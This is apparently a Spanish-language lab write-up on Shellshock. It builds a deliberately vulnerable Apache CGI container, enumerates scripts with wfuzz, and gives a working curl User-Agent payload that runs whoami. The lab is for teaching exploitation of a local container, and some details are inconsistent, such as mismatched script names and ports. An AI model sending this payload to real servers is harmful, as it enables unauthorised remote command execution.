Laboratorio - ShellShock
Esta vulnerabilidad afecta a bash antiguas y se aprovecha del funcionamiento de CGI. CGI permite ejecutar scripts externos, usualmente escritos en bash, cmd, perl y cgi, permitiendo a un atacante ejecutar comandos modificando la cabecera User-Agent en una petición enviada al servidor
- Laboratorio 🔬
- Crearemos un archivo Dockerfile con el siguiente contenido
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Base image
FROM ubuntu:12.04.5
# Actualizar paquetes y herramientas
RUN apt-get update && apt-get upgrade -y
# Instalar Apache y configurarlo para ejecutar CGI
RUN apt-get install -y apache2 && \
a2enmod cgi
# Crear un archivo CGI vulnerable a Shellshock
RUN echo '#!/bin/bash\necho "Content-type: text/html"\necho\necho "<html><body><h2>Shellshock Vulnerable CGI</h2><pre>"\necho\necho "Vulnerable to Shellshock"\necho\necho "</pre></body></html>"' > /usr/lib/cgi-bin/shellshock.cgi && \
chmod +x /usr/lib/cgi-bin/new.cgi
# Exponer el puerto 80
EXPOSE 80
# Iniciar el servidor Apache al ejecutar el contenedor
CMD ["apache2ctl", "-D", "FOREGROUND"]
a. Creamos un imagen **docker build -t
b. Desplegamos el contenedor **docker run -d -p 80:80
- Veremos que ya tenemos un servicio Apache ejecutandose en nuestra máquina host en el puerto 8080
El directorio que aloja los scripts que se van a ejecutar es
/cgi-bin/
, si accedemos a el veremos un código de estado403 Forbidden
, esto nos indica que el directorio existe pero no tenemos capacidad de listar su contenido, sin embargo, si conocemos el nombre de un script podemos acceder y ejecutarlo.Como no conocemos el nombre de un script, lo que haremos es fuzzear por nombres y posibles extensiones (Esto solo por practicar, ya que en el archivo Dockerfile está el nombre del script)
1
2
3
4
wfuzz -c -t 100 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -z list,cgi-sh-pl http://localhost/cgi-bi
n/FUZZ.FUZ2Z
000000055: 500 16 L 77 W 607 Ch "new - cgi"
Encontramos un script con nombre
new.cgi
- -c: Formato Colorizado. 🎨
- **-t
:** N Hilos a usar. 🧵 - –hc=4040: Oculatamos las respuestas con código de estado 404 Not Found. ❌
- **-w
:** Indicamos un diccionario para que fuzee. - -z list,cgi-sh-pl: Indicamos las extensiones por las cuales fuzeará.
- http://localhost:8080/cgi-bin/FUZZ.FUZ2Z: FUZZ -> Nombres del diccionario, FUZ2Z -> Cada extensión indicada.
- Ahora ya podemos llevar a cabo el ataque Shellshock, sacamos el payload de este post, usaremos cURL
- Comando:
curl -s -X GET "http://localhost/cgi-bin/new.cgi" -H "User-Agent: () { :; }; echo; /usr/bin/whoami"
- Recomendaciones
- Esta vulnerabilidad se da únicamente en versiones muy antiguas de bash.
- Si no vemos el output del comando, debemos añadir uno o dos echo;.
- Si queremos ejecutar cualquier comando es recomendable hacerlo con su ruta absoluta.